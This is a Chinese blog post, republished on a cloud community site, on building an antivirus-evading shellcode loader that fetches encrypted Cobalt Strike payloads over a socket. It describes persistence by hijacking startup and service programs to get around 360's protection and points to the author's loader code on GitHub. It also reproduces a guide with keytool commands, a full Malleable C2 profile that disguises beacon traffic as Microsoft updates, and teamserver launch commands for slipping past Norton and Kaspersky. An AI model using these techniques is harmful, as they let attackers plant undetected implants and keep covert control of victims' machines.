前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >打造一款Socket型免杀无弹窗的shellcode

打造一款Socket型免杀无弹窗的shellcode

作者头像
C4rpeDime
发布2020-03-06 12:11:32
1.6K0
发布2020-03-06 12:11:32
举报
文章被收录于专栏:黑白安全黑白安全黑白安全

写一个 shell­code 带有 socket+rc4 加密跑远端加密后的 cs 的 pay­load 下载下来后执行。然后利用启动项劫持技术,绕过杀软的启动保护。

再高级一点的话,就是把启动项劫持,改成用 masm 编写超迷你型的 shell­code 装载器,然后插入目标的 PE 空隙中,然后修改 OEP 指向我们的空隙然后执行完 shell­code 后再跳转到入口点。

启动项劫持的原理就是,360 虽然禁止对启动项进行增改,但是删和查是可以的,并且对于启动项 / 服务项中的目标程序并没有进行保护。所以我们可以对启动项的程序进行劫持替换修改都是没问题的。或者不对启动项劫持进行替换,而是找到一个运行中的服务,kill 掉它的进程,然后对服务源程序进行劫持也是可以的。原理都差不多。

至于 pay­load,有两个方案。

一.可以自己写,难度有点高,可以参考

二进制入门 - 打造 Linux shellcode 基础篇 https://www.cnblogs.com/ichunqiu/p/7273935.html

但是这种东西,一般顶天给你整个下载者。和 cs 那种全部功能纯 shell­code 还是不一样的。你下载者最终还是需要下载的你的二进制文件,达不到 “负载无文件”(不是纯无文件,毕竟你的 shell­code 还是需要的),可能会导致你的马子被检测到。

pay­load 难主要难在,对于 API 地址的定位,不过一般只要找到 Load­Li­brary 的地址,其实还算是好说的啦。

实在不行,直接整个 PE­LOADER,自建一个 RVA 导入,不过传输 EXE 的话可能会被杀软拦截 emmm,但是都能传 shell­code 了,传个加密的 PE 到内存理论上也是没关系的吧,

二.推荐直接使用 CS或者 MSF,简单粗暴。

最后研究出的代码地址在这里,喜欢记得点个star。

https://github.com/9bie/shellcode

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

带有直接运行和服务启动效果。

怎么用我懒得说了,只能说不添加 启动的话,至少是能无弹窗过 360 + 主防吧。

目前发现还不能过诺顿,过诺顿其实很简单,如果是CS的话,不用自带的证书即可,自己签发生成证书,然后https监听器上线。

诺顿流量免杀可以参考阅读渣渣辉博客https://www.zzhsec.com/556.html:

原文如下

生成免费的ssl证书,弃用cobaltstrike.store,用自己的zzhsec.store

第一步生成zzhsec.store文件

命令: keytool -genkey -alias zzhsec -keyalg RSA -validity 36500 -keystore zzhsec.store 注意记得-alias后面的参数和-keystore后面的参数后面会用到C2-profile里面 接下来需要输入密码,一定要记得这串密码,后面会用到,不然到时候你需要自己回来重新生成下

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

然后输入名字,例如:US 然后一步步输入就行

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

最后这里输入y即可完成

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

然后再输入一次密码即可

ls查看当前目录就生成好了zzhsec.store文件

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

keytool具体参数生成可以参考改文章:

https://blog.csdn.net/luoyongsir/article/details/54929288

创建修改C2-profile文件

set sample_name "zzhsec POS Malware";

set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdates";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdates";  
    set ST       "US";
    set validity "365";
}
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}

#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";

#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";

#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";

http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";

    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urlencoded";

        id {
            netbios;
            parameter "id";
        }

        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }

    server {
        output {
            print;
        }
    }
}

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

上面文件对标生成的zzhsec.store即可 比如:

Is CN=US, OU=MicrosoftUpdatess, O=MicrosoftUpdatess, L=US, ST=US, C=en
替换
#设置证书
https-certificate {
    set CN       "US"; 
    set O        "MicrosoftUpdatess";   
    set C        "en";
    set L        "US";
    set OU       "MicrosoftUpdatess";  
    set ST       "US";
    set validity "365";
}
ps:注意对应好
以及下面的
#设置
code-signer{
    set keystore "zzhsec.store";
    set password "123.zzhsec!";
    set alias "zzhsec";
}
在上面的生成命令中的alias以及keystore后面的字段对应好
以及输入命令的时候,你输入的密码也需要替换[object Object]
打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

推荐两个Github上的C2-profile

https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/threatexpress/malleable-c2
官方的C2配置文章
https://www.cobaltstrike.com/help-malleable-c2

接下来就是验证C2-profile是否可用了

命令 ./c2lint me.profile

没有出现什么问题就可以了

然后期待teamserver即可

命令 nohup ./teamserver 1.1.1.1 123456 ./me.profile & 然后就可以愉快的去连接了

对了,建议把teamserver的端口改一下

打造一款Socket型免杀无弹窗的shellcode
打造一款Socket型免杀无弹窗的shellcode

改成一些你用不到的服务端口即可

最后测试了下卡巴斯基的诺顿和360,走https流量

随便你怎么操作,都不拦截,之前的会拦截流量

直接生成exe的话,可能被杀,需要自己简单做一下免杀

我用的powershell上线的,其他的shellcode自己随便搞一搞免杀也是分分钟

推荐阅读: https://xz.aliyun.com/t/2796 https://xz.aliyun.com/t/2239 https://www.chabug.org/web/832.html

参考来源:⑨BIE的博客以及渣渣辉博客

文由Hack学习呀

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-03-051,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 生成免费的ssl证书,弃用cobaltstrike.store,用自己的zzhsec.store
  • 创建修改C2-profile文件
  • 推荐两个Github上的C2-profile
  • 接下来就是验证C2-profile是否可用了
  • 然后期待teamserver即可
  • 对了,建议把teamserver的端口改一下
  • 最后测试了下卡巴斯基的诺顿和360,走https流量
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档